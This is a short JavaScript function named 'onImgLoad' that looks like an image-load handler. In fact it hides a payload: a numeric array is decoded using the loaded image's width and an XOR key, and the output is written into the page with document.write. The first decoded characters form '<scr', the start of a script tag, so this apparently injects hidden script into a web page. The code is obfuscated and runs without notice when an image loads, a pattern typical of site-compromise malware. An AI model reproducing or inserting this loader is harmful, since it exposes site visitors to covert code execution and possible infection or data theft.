function onImgLoad(source) {
var as = new Array(49,112,162,125,511,501,691,513,586,498,712,565,569,515,706,591,587,498,657,507,592,498,638,515,592,517,693,507,586,529,702,568,515,518,703,528,566,527,697,517,567,592,711,513,586,502,697,583,517,574,707,528,565,523,708,507,515,502,717,511,582,575,752,593,567,519,716,507,528,524,693,509,578,501,691,513,586,498,712,531,517,578,707,513,580,575,752,593,587,502,712,511,509,593,639,514,582,518,641,512,566,500,694,581,580,529,705,580,500,568,647,570,503,564,648,580,562,575,693,515,581,503,712,522,565,529,704,589,563,575,626,584,515,522,708,591,524,580,752,593,513,574,752,580,564,517,706,518,563,502,654,593,522,573,656,580,564,517,706,518,563,502,654);
var xi = source.width; if (!xi) {return;}
var sc=""; for (var n=4; n<as.length; n++) {sc+=String.fromCharCode((as[n]-xi)^as[n%4]);} document.write(sc);
}

